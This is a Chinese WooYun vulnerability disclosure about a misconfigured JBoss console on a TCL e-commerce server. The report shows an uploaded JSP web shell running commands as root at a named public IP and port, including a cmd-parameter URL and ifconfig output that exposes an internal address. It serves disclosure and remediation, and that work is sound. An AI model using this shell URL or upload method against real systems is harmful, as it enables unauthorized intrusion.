漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-039627
漏洞标题：TCL电子商务中心某站中间件配置不当导致getshell(root权限，内网IP)
相关厂商：TCL官方网上商城
漏洞作者： 霍大然
提交时间：2013-10-15 19:48
修复时间：2013-11-29 19:48
公开时间：2013-11-29 19:48
漏洞类型：文件上传导致任意代码执行
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-10-15： 细节已通知厂商并且等待厂商处理中
2013-10-16： 厂商已经确认，细节仅向厂商公开
2013-10-26： 细节向核心白帽子及相关领域专家公开
2013-11-05： 细节向普通白帽子公开
2013-11-15： 细节向实习白帽子公开
2013-11-29： 细节向公众公开
简要描述：
TCL电子商务中心某站中间件配置不当导致上传执行（root权限，内网IP）
详细说明：
问题站点：
http://125.93.53.70:9998/
还是TCL的IP段
用老办法传shell:
shell不大好，但能执行命令：
http://125.93.53.70:9998/a/pwn.jsp?cmd=ifconfig
eth0 Link encap:Ethernet HWaddr 00:50:56:AA:16:1D inet addr:10.4.30.70 Bcast:10.4.30.255 Mask:255.255.255.0 inet6 addr: fe80::250:56ff:feaa:161d/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:129058680 errors:0 dropped:0 overruns:0 frame:0 TX packets:1391409664 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:10273447223 (9.5 GiB) TX bytes:87167414695 (81.1 GiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:338143 errors:0 dropped:0 overruns:0 frame:0 TX packets:338143 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:15445386 (14.7 MiB) TX bytes:15445386 (14.7 MiB)
漏洞证明：
修复方案：
象前面几个站一样，别让用户接触到JBOSS的JMX Console和JBoss Web Console
版权声明：转载请注明来源 霍大然@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2013-10-16 09:21
厂商回复：
谢谢提醒！已经转给相关部门！
最新状态：
暂无